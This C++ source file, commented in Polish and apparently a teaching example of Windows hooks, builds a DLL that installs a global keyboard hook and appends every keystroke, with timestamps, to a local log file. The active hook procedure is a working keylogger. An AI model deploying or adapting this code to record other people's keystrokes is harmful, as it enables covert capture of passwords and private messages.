// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"

//uchwyt do biezacej biblioteki DLL
HMODULE uchwytDLL = NULL;

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{		
		case DLL_PROCESS_ATTACH:
			uchwytDLL = hModule;
			break;
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
	}
	return TRUE;
}

//deklaracja procedury haka
extern "C" __declspec(dllexport) LRESULT CALLBACK KeyboardHookProc(int code,WPARAM wParam,LPARAM lParam);

//uchwyt do haka
HHOOK uchwytHaka = NULL;

//funkcja zakladajaca hak
extern "C" __declspec(dllexport) void __stdcall UstawHak(void)
{
    uchwytHaka = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardHookProc,uchwytDLL,NULL);
    if (uchwytHaka == NULL) MessageBox(NULL, L"Założenie haka nie powiodło się", L"KeyHook",MB_OK | MB_ICONERROR);
    else MessageBox(NULL, L"Założenie haka udało się", L"KeyHook", MB_OK | MB_ICONINFORMATION);
}

//funkcja usuwajaca hak
extern "C" __declspec(dllexport) void __stdcall UsunHak(void)
{
	if (UnhookWindowsHookEx(uchwytHaka)) MessageBox(NULL, L"Usunięcie haka udało się", L"KeyHook", MB_OK | MB_ICONINFORMATION);
	else MessageBox(NULL, L"Usunięcie haka nie powiodło się", L"KeyHook", MB_OK | MB_ICONERROR);
}

/*
//pobrzekujaca procedura haka
LRESULT CALLBACK KeyboardHookProc(int code,WPARAM wParam,LPARAM lParam)
{
    if (code>=HC_ACTION)
    {
        if((lParam & 0x80000000)==0) Beep(150,50);
        else Beep(50,50);
    }
    return CallNextHookEx(uchwytHaka,code,wParam,lParam);
}
*/

//procedura haka zapisujace naciskane klawisze
#include <fstream>

LRESULT CALLBACK KeyboardHookProc(int code,WPARAM wParam,LPARAM lParam)
{
    if (code>=HC_ACTION)
    {
        char kod[5]; _itoa_s((char)wParam,kod,5,10);
        char lParam_bits[33]; _itoa_s(lParam,lParam_bits,33,2);

        //zapis do pliku
		std::ofstream txt("d:\\klawisze.log",std::ios::app);
        txt << GetTickCount() << ": ";
        if (wParam>32 && wParam<127)
        {
            if((lParam & 0x20000000)==0x20000000) txt << "Alt+";
            txt << (char)wParam;
        }
        else txt << "[" << wParam << "]";
        txt << " " << (((lParam & 0x80000000)==0)?"(wciśnięty)":"(zwolniony)");
        txt << " (" << wParam << ") " << lParam_bits << "\n";
        txt.close();
    }
    return CallNextHookEx(uchwytHaka,code,wParam,lParam);
}
